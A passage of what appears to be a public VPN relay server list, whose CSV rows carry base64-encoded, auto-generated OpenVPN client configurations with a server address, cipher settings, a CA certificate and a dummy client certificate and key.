VRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn638396087,45.146.152.74,559815,121,80779881,Russian Federation,RU,0,67844195,36054,2178219822004,2weeks,DESKTOP-1PRTSM2's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSA0NS4xNDYuMTUyLjc0IDE1ODMNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRm